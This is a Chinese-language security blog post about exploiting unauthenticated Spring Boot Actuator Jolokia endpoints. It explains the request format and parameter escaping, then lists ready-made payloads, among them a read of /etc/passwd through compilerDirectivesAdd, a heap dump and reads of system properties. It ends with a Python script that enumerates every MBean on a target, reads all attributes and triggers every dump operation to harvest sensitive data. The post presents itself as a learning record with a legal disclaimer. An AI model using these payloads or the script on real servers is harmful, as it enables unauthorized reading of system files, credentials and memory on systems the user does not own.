0%

Jolokia利用记录

本文仅作为技术讨论及分享,严禁用于任何非法用途。

前言

最近发现了一个Springboot Actuator Jolokia 未授权访问漏洞,了解了一下感觉挺好玩的,记录一下学习过程。
Actuator是Spring Boot提供的服务监控和管理中间件,默认配置会出现接口未授权访问,部分接口会泄露网站流量信息和内存信息等,使用Jolokia库特性甚至可以远程执行任意代码,获取服务器权限。

正文

漏洞位置

Jolokia是一款开源产品,用于为JMX(Java Management Extensions)技术提供HTTP API接口。其中,该产品提供了一个API,用于调用在服务器上注册的MBean并读/写其属性。JMX技术用于管理和监视设备、应用程序和网络驱动的服务。

通常我们发现它的时候可能是类似下面的路径:

1
/actuator/jolokia/list

响应结果是json格式:

整个json文本的内容非常多,通过vscode美化一下:

请求格式

jolokia的调用支持GET请求和POST请求格式。

GET请求:

1
<base-url>/<type>/<arg1>/<arg2>/..../

如:

1
http://localhost:8080/jolokia/read/java.lang:type=Memory/HeapMemoryUsage

POST请求(json):

1
2
3
4
5
6
{
"type" : "read",
"mbean" : "java.lang:type=Memory",
"attribute" : "HeapMemoryUsage",
"path" : "used",
}

调用方法

那么如何调用MBean进行利用呢?相信看完下面的例子你就会懂了。

首先要理解我们可以做什么操作,Jolokia 可执行的操作(operations)有:readwriteexecsearchlist

比如我要读取java.util.loggingtype=Loggingattr里面的LoggerNames

1
/actuator/jolokia/read/java.util.logging:type=Logging/LoggerNames

调用某个MBean:

1
/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmUnlockCommercialFeatures/

那么,哪些可以read,哪些可以exec呢?

我们可以观察list列出的MBeans字典,attr里面的都可以readwriteop里面的方法都可以exec

如果要传递参数,则在后面加斜杠/+参数值,如果参数有/或者!等则需要按下表转义:

Escaped Unescaped
!/ /
!! !
!" "
!(anything else) (anything else)

如:

1
/jolokia/exec/com.sun.management:type=HotSpotDiagnostic/dumpHeap/!/tmp!/a.hprof/0 

一些可能有用的payload

1
2
3
4
/jolokia/read/java.lang:type=Runtime/SystemProperties
/jolokia/read/com.alibaba.druid:type=DruidDataSourceStat/DataSourceList
/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd
/jolokia/exec/com.sun.management:type=HotSpotDiagnostic/dumpHeap/!/tmp!/a.hprof/0

脚本

写了个简易脚本去读取所有的attr及执行所有的dump操作,基本上无害,看看能不能发现一些敏感数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import json

jolokiaurl = 'http://xxx/actuator/jolokia'


proxies = {}

proxies = {
'http': 'http://192.168.1.1:8080',
'https': 'http://192.168.1.1:8080'
}
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 UBrowser/6.1.3397.16 Safari/537.36'}


def getList(url):
turl = url + 'list'
r = requests.get(turl)
# print(r.json())
return r.json()['value']


def parserList(jolokia_list, jolokiaurl):
for j_class in jolokia_list:
for j_type in jolokia_list[j_class]:
if 'op' in jolokia_list[j_class][j_type]:
for j_op in jolokia_list[j_class][j_type]['op']:
if j_op == 'dump':
url = f"{jolokiaurl}exec/{j_class}:{j_type}/{j_op}"
r = requests.get(url, proxies=proxies, headers=headers)
print(r.text)
if 'attr' in jolokia_list[j_class][j_type]:
for j_attr in jolokia_list[j_class][j_type]['attr']:
url = f"{jolokiaurl}read/{j_class}:{j_type}/{j_attr}"
print(url)
r = requests.get(url, proxies=proxies, headers=headers)
print(r.text)






def main():
global jolokiaurl
if '/' != jolokiaurl[-1:]:
jolokiaurl += '/'
# print(jolokiaurl)
jolokia_list = getList(jolokiaurl)
parserList(jolokia_list, jolokiaurl)



if __name__ == "__main__":
main()

小结

以上仅是个人不太深入的经验总结,欢迎批评指正。授人以鱼不如授人以渔,大家可根据对应的list结果查找可利用的MBean。

参考

https://jolokia.org/reference/html/protocol.html#jolokia-operations
https://thinkloveshare.com/hacking/ssrf_to_rce_with_jolokia_and_mbeans/
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Jolokia/%EF%BC%88CVE-2018-1000130%EF%BC%89Jolokia%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
https://www.hacking8.com/bug-product/Spring-Boot/Spring-Boot-Actuator-jolokia-%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84rce%E6%BC%8F%E6%B4%9E.html